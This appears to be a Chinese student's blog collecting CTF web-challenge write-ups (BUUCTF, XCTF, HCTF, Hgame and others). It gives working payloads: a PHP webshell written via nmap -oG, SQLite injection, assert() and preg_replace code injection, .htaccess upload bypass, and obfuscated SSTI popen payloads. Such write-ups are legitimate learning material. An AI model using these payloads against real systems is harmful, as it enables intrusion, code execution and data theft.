BUUCTF-2018-Online-Tool

[BUUCTF 2018]Online Tool
1.题目:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
2.过程:

关于escapeshellarg和escapeshellcmd

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)

escapeshellcmd — shell 元字符转义

功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec()system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|\?~<>^()[]{}$, \x0A\xFF\。 \’* 和 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 %! 字符都会被空格代替。

好像因为环境问题?本地测试不是很对……参考dalao:谈谈escapeshellarg参数绕过和注入的问题

由于先使用escapeshellarg,再使用escapeshellcmd导致的命令执行漏洞

在线php测试成功了……:

image-20210309164414644

‘’ \ ‘’ A ‘\‘ ‘’ :这样显示,单引号都被闭合了,传入参数就可以成为命令执行

image-20210309165949036

单引号前后要加空格,防止格式改变或后缀改变

结合:利用/绕过 PHP escapeshellarg/escapeshellcmd函数

可知,需要利用预置的命令,拼接执行;这里关系到namp的命令

namp命令有保存扫描结果的命令:

Nmap输出格式

  • -oN (标准输出)
  • -oX (XML输出)
  • -oS (ScRipT KIdd|3 oUTpuT)
  • -oG (Grep输出)
  • -oA (输出至所有格式)
  • namp中文网#输出

在保存结果的同时,可以向文件中写入语句,这里写入一句话即可

1
?host=' <?php @eval($_POST["ok"]);?> -oG 1.php '

sandbox指明文件目录,antsword链接:

image-20210309170613645

获取flag

  

xctf-FlatScience

xctf-FlatScience

1.题目:
2.过程:

这道题…………

打开上面写着:Best Papers,最好的论文,链接了好多paper,还是全英的……

查看robots.txt,找到login和admin页面,login页面源码发现注释:

image-20210304170216778

我看不懂,但我……

在一通乱试下,原来是在login.php?debug……大概是个所谓的调试界面吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];

$db = new SQLite3('../fancy.db');

$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}

if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>

sqlite的注入:

使usr=admin’ or ‘1’=1发现页面跳转,cookie中有值为+admin的记录,本来想直接盲注,但发现sqlite似乎没有if function……学习一下sqlite的注入

dalao

sqlite_master隐藏表:

字段:type/name/tbl_name/rootpage/sql

type列记录了项目的类型,如table、index、view、trigger。

name列记录了项目的名称,如表名、索引名等。

tbl_name列记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身。

rootpage列记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL。

sql列记录创建该项目的SQL语句。

**sqlite_version()**:版本号

用order by 判断表有两列,换掉admin并union select 1,2可以看到cookie值变为+2,

image-20210317151503415

那就不用盲注了。sqlite没有concat但有group_concat……害

1
2
3
4
5
6
查表名:
usr=0' union select 1,(select tbl_name from sqlite_master where type='table')--
查列名:
usr=0' union select 1,(select sql from sqlite_master where type='table')--
查数据:
usr=0' union select 1,(select group_concat(hint) from Users)--

结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sql:
CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255))

id: 1,2,3

name: admin,fritze,hansi

password: 3fab54a50e770d830c0416df817567662a9dc85c
,
54eae8935c90f467427f05e4ece82cf569f89507
,
34b0bb7c304949f9ff2fc101eef0f048be10d3bd

hint: my fav word in my fav paper?!,my love is…?,the password is password

还在打谜语……大概是paper里有一个词是密码吧……查一波,发现这还涉及到pdf转txt……

奈何太菜,脚本也看不懂,贴大佬链接吧:

dalao2

dalao3

密码是:ThinJerboa

wohaocai,6LCc6K+t5Lq65rua5Ye65ZOl6LCt5biC==

  

xctf-csaw-2016-quals-mfw

xctf-csaw-2016-quals-mfw

1.题目:
2.过程:

打开是一个网页,点击about:

image-20210304123209659

题目提示使用了git,推测存在.git源码泄露:

image-20210304123314880

访问发现网站目录,用GitHack获取源码:

GitHack在python2下运行,使用方法:python2 GitHack.py [指定url]

image-20210304123716586

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

涉及到了assert的知识点:

assert — 检查一个断言是否为 FALSE

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

如本题:assert(“strpos(‘$file’, ‘..’) === false”) 执行了strpos函数对file进行了检查,若没有检查到..,则继续运行;若检查到,则抛出warning并die(“Detected hacking attempt!”)。

重点是对于assert函数的利用,控制file使之执行指定的代码。

eg:?page=’) or eval(“echo 9*9;”);//

image-20210304134649985

不是很懂为什么会输出Detected hacking attempt!,本地尝试:

?page=’) or eval(“print(8*9);”);//

image-20210304141243600

抑制住了疯狂报错……输出了bool(false),大概是语法或是什么地方出了一点问题……就挺迷的……

?page=’) or system(“cat templates/flag.php”);//

image-20210304135359125

得到flag

关于or可用点号替换的推测:

深入解析PHP中逗号与点号的区别

……

  

buu五道题:Exec、Knife、easy_tornado、fake google、你传你🐎呢

[ACTF2020 新生赛]Exec

1.题目:
2.过程:

这个好像当时没有写wp,补一下

今年的ACTF有个题倒是和这个差不多,感觉这个简单一些吧……远程的命令执行

image-20210224115130403

发现根目录有flag,cat:

image-20210224115214111

[极客大挑战 2019]Knife

1.题目:
2.过程:

image-20210224115601387

网站给自己下了个马……直接用蚁剑连:

image-20210224115730605

[护网杯 2018]easy_tornado

1.题目:
2.过程:

image-20210224141404866

flag in /fllllllllllllag

Tornado是一种 Web 服务器软件的开源版本。

Tornado 和主流Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

image-20210224141715722

提示:

image-20210224141740750

应该就是后面的验证……改掉之后是error界面

?msg=1 则页面显示是1,页面有严格的过滤……

在Tornado模板中:

二、两种表现形式

(一)模板变量

1
2
3
4
5
{{ variable_name }}

<body>
欢迎{{ username }}登录
</body>

它也可以是python表达式

1
2
{{ 1 + 1 }}
{{ time.time() }}

(二)模板命令

其实就是,大括号百分号所包裹的python语法

1
2
3
4
5
{%%}

{% if 1 %}
this is if
{% end %}

搜索cookie_secret,发现结果与tornado有关,官网的搜索结果:

image-20210224154446715

image-20210224163500572

这是RequestHandler中包含application的意思吗……

python SSTI tornado render模板注入中的解释:

handler 指向RequestHandler

而RequestHandler.settings又指向self.application.settings

所以handler.settings就指向RequestHandler.application.settings了

通过handler.settings获得环境变量?

使用案例:

image-20210224165102865

(self类似于this)

细节上还不是很懂……大概是可以指向RequestHandler,获取内部的变量吧。

image-20210224165551945

获取到cookie_secret,加密:

image-20210224170137490

访问获取flag:

image-20210224170208821

[MRCTF2020]你传你🐎呢

1.题目:
2.过程:

直接上来让上传木马……过滤了后缀名

之前的一道题是.user.ini的利用,要求在上传到.user.ini的文件夹下,也要有可执行的正常php文件。

这个并没有……应该是提到的.htaccess文件

.htaccess详解及.htaccess参数说明

.htaccess是什么文件?有什么用途?

这里可以用AddType application/x-httpd-php .jpg,指定将jpg文件解析为php文件。

上传之后用antsword连接……

![image-20210228184753486](/images/Buu五道题:Exec、Knife、easy_tornado、fake google、你传你🐎呢/image-20210228184753486.png)

在根目录找到flag。

[BJDCTF 2nd]fake google

1.题目:
2.过程:

搜索一下:

![image-20210226233025995](/images/Buu四道题:Exec、Knife、easy_tornado、fake google/image-20210226233025995.png)

此时页面的源码为:

![image-20210226233149495](/images/Buu四道题:Exec、Knife、easy_tornado、fake google/image-20210226233149495.png)

ssti……用一下forgetful的解就过了,记一下吧……:

1
{{lipsum.__globals__['os'].popen('cat /flag').read()}}

(这篇好水……)

  

ASIS-2019-Unicorn-shop

[ASIS 2019]Unicorn shop

1.题目:
2.过程:

题目要我们购买独角兽,实际上只有第四种可以购买……

image-20210224110437694

只可以输入一个字符,如果不填入内容提交,网页会发生报错:

image-20210224110612819

numeric:

语法:unicodedata.numeric(chr[, default])

描述:将Unicode字符(chr)转换为等效的数值。以浮点形式返回【与chr相对应的数值】。若未定义这样的值,则返回默认值default;若未指定默认值,则抛出ValueError异常。(把一个表示数字的字符转换为浮点数。比如,可将’5’、’五’转换数值输出。与digit()不同是numeric()可以转换任意表示数值的字符,不仅仅限于0到9的字符)

不同的Unicode字符可以对应不同的数值,可以在https://www.compart.com/en/unicode查询:

image-20210224111552294

image-20210224111622099

官方wp:https://github.com/hyperreality/ctf-writeups/tree/master/2019-asis

dalao:https://gality.cn/?p=123#%E7%AD%89%E4%BB%B7%E5%BD%A2%E5%BC%8F

……

  

HCTF-2018-admin

[HCTF 2018]admin

1.题目:
2.过程:

又是学习dalao操作的一天:

一、flask session 伪造

image-20210223155455900

应该是要获取admin的账号……网页通过session识别用户的身份:

session是浏览器与服务器交互的会话,这个session可以来验证访问者的身份,大多数的session都是保存在服务器的,但是也有少部分是客户端session,如flask框架。

传统PHP中session都是被放在服务器中的,用户只是看到一串随机字符串,真正的session内容在服务器中,flask是一个python轻量级web框架,他的session存储在客户端的cookie字段中,为了防止session篡改,flask进行了一定的处理,代码存放在flask模块中sessions.py文件中。

flask session 的加解密需要一个secret-key:

image-20210223162658801

源码中的config文件中可以被找到

用 flask-session-cookie-manager 对cookie进行解密:

解密:

python flask_session_cookie_manager3.py decode -s SECRET_KEY -c “session”

加密:

python flask_session_cookie_manager3.py encode -s SECRET_KEY -t “未加密session”

image-20210223163102049

在index中:

image-20210223163300325

只验证了session中的’name’即可:

image-20210223163402723

修改cookie即可以admin身份登录获取flag……

二、Unicode欺骗

image-20210223171235841

在change页面可以清楚的看到,对获取到的name进行了小写处理。python中含有小写函数:lower()

这里用的是strlower:

image-20210223173046053

用到了nodeprepare.prepare,这个方法从Twisted库中导出:

image-20210223175220075

这里的Twisted版本很低,dalao怀疑这里有漏洞……搜索了一下相关内容:

https://engineering.atspotify.com/2013/06/18/creative-usernames/中记录了因为使用nodeprepare.prepare导致的一起漏洞。注册时, ‘ᴮᴵᴳᴮᴵᴿᴰ’经处理得到‘BIGBIRD’,就成功注册了‘BIGBIRD’账户,但在修改密码时,再次对name使用了nodeprepare.prepare。那么修改的账户就变成‘bigbird’,原来的bigbird账户的密码就被控制了。官方的原话为:

”We were relying on nodeprep.prepare being idempotent, and it wasn’t.“

转化为小写的函数原本应当是幂等的,但在这个特殊情况下,两次的结果是不同的。

https://news.ycombinator.com/item?id=5902506的讨论中:

image-20210223180727395

似乎是python的工作方式的改变破坏了Twisted库。

或许是因为某些原因导致不支持ᴮᴵᴳᴮᴵᴿᴰ字符,进行了强制的转换?到这里我仍不是很明白。Unicode同形字引起的安全问题中介绍了关于Unicode转ASCII的GitHub的漏洞,但不是ᴬᴰᴹᴵᴺ到ADMIN的转换。

我找到了Unicode的标准化处理:

unicodedata.normalize(form, unistr)

把一串UNICODE字符串转换为普通格式的字符串,具体格式支持NFC、NFKC、NFD和NFKD格式。

Unicode标准定义了四种规范化形式: Normalization Form D (NFD),Normalization Form KD (NFKD),Normalization Form C (NFC),和Normalization Form KC (NFKC)。大约来说,NFD和NFKD将可能的字符进行分解,而NFC和NFKC将可能的字符进行组合。

NFC(Normalization Form C)使用最少的码位构成等价的字符串;
NFD把组合字符分解成基字符和单独的组合字符;

在另外两个规范化形式(NFKC和NFKD)的首字母缩略词中,字母K表示“compatibility”(兼容性)。这两种是较严格的规范形式,对“兼容字符”有影响

=》https://blog.csdn.net/weixin_38492159/article/details/107135663

image-20210223210605583

NFKC和NFKD下,都会转换为ADMIN;NFC和NFD下,仍为ᴬᴰᴹᴵᴺ。

大概是该方法在遇到ᴬᴰᴹᴵᴺ时,因为某些原因只进行了规范化而没有转化为小写导致了漏洞吧……更深的就不知道了……

p大:https://www.leavesongs.com/PENETRATION/client-session-security.html

关于Unicode安全的好像有一道Unicode shop,回来可以写写。

三、条件竞争

……确实不是很懂,先贴dalao题解,学习学习:

https://blog.csdn.net/weixin_44677409/article/details/100733581

https://www.anquanke.com/post/id/164086

……wohaocai

  

Hgame2021-week3-Forgetful

Forgetful

记录一下学习过程:

1.题目:Liki 总是忘记很多事情,于是她灵机一动,用新学会的 Python 写了一个 TodoList,快用起来吧!
2.过程:

讲解

页面有一个记录的功能,可以记录一些事项:

image-20210218144958771

image-20210218145011934

查看后发现7*7被执行了,存在SSTI……

跟着步骤实验:

image-20210218145203719

image-20210218145222789

看到了许多类名:

__class__ 返回type类型,查看对象的类型
__bases__ 返回tuple类型,列出该类的基类
_mro_\ 返回tuple类型,给出解析方法调用的顺序
_subclasses_\() 返回内建方法builtin_function_or_method,获取一个类的子类
__globals__ 返回dict类型,对函数进行操作,获取当前空间下能使用的模块、方法、变量

那怎么从这么多的类中找到一个包含我们需要模块的一个类呢,用脚本吗……

我随手登录的账号已经有了一位老哥的操作:

image-20210219104825834

查了一下:

是一个方法,从中可以直接调用os执行命令……tql

安洵杯2020 官方Writeup:

1
{%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f%22)(%22os%22)|attr(%22popen%22)(%22whoami%22)|attr(%22read%22)()%}

=》

1
{%print(lipsum|attr("__globals__"))|attr("__getitem__")("os")|attr("popen")("whoami")|attr("read")()%}

这里的print绕过{{}}attr绕过.,Unicode应该是绕过一些字符过滤。

利用这个方法去读:

image-20210219105812356

学长是用base64去读的:

1
{{lipsum.__globals__['os'].popen('base64 /flag').read()}}

这样就可以读取了:

image-20210219110538824

1
{{''.__class__.__base__.__subclasses__()[165].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("base64 /flag").read()')}}

也ok

  

ics-05

ics-05

1.题目:
2.过程:

题目描述:其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统

image-20210218102501966

题目里面就有设备维护中心这一个网页……点击发现有一个page参数,不是sql注入,大概是文件包含

?page=php://filter/read=convert.base64-encode/resource=index.php

读取网页源码:

image-20210218101133264

preg_replace($pattern, $replacement, $subject) 作用:

搜索subject中匹配pattern的部分,以replacement的内容进行替换。

$pattern: 要搜索的模式,可以是字符串或一个字符串数组。

$replacement: 用于替换的字符串或字符串数组。

$subject: 要搜索替换的目标字符串或字符串数组。

学习一波preg_replace()的漏洞:

preg_replace漏洞触发有两个前提:

1:第一个参数需要e标识符,有了它可以执行第二个参数的命令

2:第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令

image-20210218102601447

查找flag所在的位置:&rep=system(‘find+/+-name+flag.*’) :

image-20210218104202681

&rep=system(‘cat+s3chahahaDir/flag/flag.php’)

在页面render一直查不出来……还是要看源码:

image-20210218104539337

  

Bugku-Web_php_unserialize

Web_php_unserialize

1.题目:
2.过程:

image-20210217110152094

var需要base64解密后绕过匹配,反序列化包含flag文件

匹配函数对([o或c]:[一个或多个数字] /i:不区分大小写)进行匹配,可以利用+解析为空格绕过

由于private的属性,只能编写程序在内部base64编码:

image-20210217111740330

得到flag。

  

:D 一言句子获取中...